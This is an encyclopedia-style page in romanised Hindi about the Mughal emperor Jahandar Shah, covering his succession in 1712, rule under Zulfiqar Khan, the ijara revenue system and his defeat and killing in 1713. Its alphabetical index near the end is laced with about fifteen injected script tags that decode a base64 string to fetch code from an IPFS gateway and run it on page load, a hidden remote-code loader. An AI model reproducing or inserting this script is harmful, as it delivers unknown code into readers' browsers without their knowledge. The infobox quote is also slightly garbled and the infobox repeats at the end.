जहाँदारशाह

	jahaandarashah
	jahaandarashah\|200px\|center
poora nam	mirza muizz-ud-din beg mohammad khan jahaandar shah bahadur
janm	9 mee, 1661
janm bhoomi	dakkan, mugal_samrajy
mrityu tithi	12 faravari, 1713
mrityu sthan	dilli, mugal_samrajy
pita/mata	pita- bahadurashah pratham
dharmik manyata	islam
rajyabhishek	29 march, 1712
poorvadhikari	bahadurashah pratham
rajagharana	taimoor
vansh	mugal vansh
any janakari	ek samakalin itihasakar 'iradat khaan' ne jahaandarashah ke vishay mean likha hai, "vah rangareliyoan mean doobe rahane vala ek kamazor vyakti tha, jisane to rajy ke karyoan ki chinta ki, aur n umaravoan mean se kisi ka lagav tha.

jahaandarashah (aangrezi: Jahandar Shah, janm- 9 mee, 1661, dakkan; mrityu- 12 faravari, 1713, dilli) bahadurashah pratham ke char putroan mean se ek tha. bahadurashah pratham ke marane ke bad usake charoan putroan 'jahaandarashah', 'ajimushshan', 'rafiushshan' evan 'jahanashah' mean uttaradhikar ke lie sangharsh chhi d gaya. is sangharsh mean zulfiqar khaan ke sahayog se jahaandarashah ke atirikt bahadurashah pratham ke any tin putr apas mean sangharsh ke dauran mare gaye. 51 varsh ki ayu mean jahaandarashah 29 march, 1712 ko mugal rajasianhasan par baitha. zulfiqar khaan isaka pradhanamantri niyukt kiya gaya, tatha asad khaan 'vakil-e-mutalaq' ke pad par bana raha. ye donoan bap-bete eerani amiroan ke neta the. jahaandarashah ke shasan kal ke bare mean itihasakar 'khaphi khaan' ka kahana hai, "naya shasanakal charanoan aur gayakoan, nartakoan evan natyakarmiyoan ke samast vargoan ke lie bahut anukool tha." jahaandarashah ne sirf 1712 se 1713 ee. tak hi shasan kiya.

shasan v niti

jahaandarashah ke shasanakal mean prashasan ki poori bagador zulfiqar khaan ke hathoan mean thi. darabar mean apani sthiti mazaboot banane tatha samrajy ko bachane ke lie yah avashyak tha ki, rajapoot rajaoan tatha marathoan ke sath maitripoorn sambandh sthapit kiya jay. isalie usane rajapootoan ki taraf maitripoorn qadam badhate huye, amer ke jayasianh ko malava ka soobedar niyukt kiya, tatha 'mirja raja' ki padavi di. marava d ke ajit sianh ko 'maharaja' ki padavi di aur gujarat ka shasak niyukt kiya. usane jajiya kar ko bhi samapt kar diya. zulfiqar khaan ne choo daman jat tatha chhatrasal bundela ke sath bhi mel-milap kiya tatha keval banda bahadur ke viruddh daman ki niti ko jari rakha. jagiroan aur ohadoan ki aandhadhuandh vriddhi par rok lagakar zulfiqar khaan ne samrajy ki vittiy sthiti ko sudharane ka prayas kiya, kintu usane ek galat pravritti 'ijara vyavastha' ko badhava diya. isake antargat ek nishchit dar par bhoo-rajasv vasool karane ke badale mean sarakar ne 'ijaredar' (lagan ke thekedaroan) aur bichailiyoan ke sath yah karar karana arambh kar diya tha ki, ve sarakar ko ek nishchit mudra rashi dean. badale mean kisanoan se jitana lagan vasool kar sakean, utana vasoolane ke lie unhean azad chho d diya gaya. isase kisanoan ka utpi dan badha. zulfiqar khaan vazir ki shakti mean vriddhi karake shaktishali hona chahata tha, jisake karan shahi samantoan ne zulfiqar khaan ke viruddh sh dayantr karana praranbh kar diya. zulfiqar khaan ne apane sare prashasanik dayitv apane ek najadiki vyakti 'subhagachandr' ke hathoan mean de diya tha.

ayogy v vilasi samrat

jahaandarashah ayogy evan vilasi samrat tha. usane apane shasan ke karyoan mean 'lal kuanvar' nam ki veshya ko hastakshep karane ka adhikar de rakha tha. atah ajimushshan ke putr farrukhasiyar ne patana ke soobedar saiyad bandhu 'husain ali khaan' evan usake b de bhaee ilahabad ke sahayak soobedar 'abdulla khaan' ke sahayog se jahaandarashah ko upadasth karana chaha. husain ali khaan evan abdulla khaan, jinhean 'saiyyad bandhu' ke nam se bhi jana jata hai, mugalakalin bharatiy itihas mean 'shasak nirmata' ke roop mean prasiddh haian.

mrityu

saiyyad bandhuoan ke sahayog se farrukhasiyar ne 10 janavari, 1713 ko agara mean jahaandarashah ko buri tarah parast kiya. 12 faravari, 1713 ko asad khaan evan zulfiqar khaan ne isaki hatya kar di. jahaandarashah mugal vansh ka pratham ayogy shasak tha. use 'lampat moorkh' kaha jata tha. jahaandarashah ke bare mean 'arvin' ne likha hai, "taimoor ke khanadan mean jahaandarashah pahala samrat tha, jisane svayan ko apane behad nichata, kroor svabhav, dimag ke chhichhalepan tatha kayarata ke karan shasan karane mean poori tarah se ayogy paya."

ek samakalin itihasakar 'iradat khaan' ne jahaandarashah ke vishay mean likha hai, "vah rangaraliyoan mean doobe rahane vala ek kamazor vyakti tha, jisane n to rajy ke karyoan ki chinta ki, aur n umaravoan mean se kisi ka lagav tha." jahaandarashah ke shasanakal mean "ulloo baj ke ghoansale mean rahata tha, tatha koyal ka sthan kauve ne le liya tha."

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

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jahaandarashah
jahaandarashah\|200px\|center
poora nam	mirza muizz-ud-din beg mohammad khan jahaandar shah bahadur
janm	9 mee, 1661
janm bhoomi	dakkan, mugal_samrajy
mrityu tithi	12 faravari, 1713
mrityu sthan	dilli, mugal_samrajy
pita/mata	pita- bahadurashah pratham
dharmik manyata	islam
rajyabhishek	29 march, 1712
poorvadhikari	bahadurashah pratham
rajagharana	taimoor
vansh	mugal vansh
any janakari	ek samakalin itihasakar 'iradat khaan' ne jahaandarashah ke vishay mean likha hai, "vah rangareliyoan mean doobe rahane vala ek kamazor vyakti tha, jisane to rajy ke karyoan ki chinta ki, aur n umaravoan mean se kisi ka lagav tha.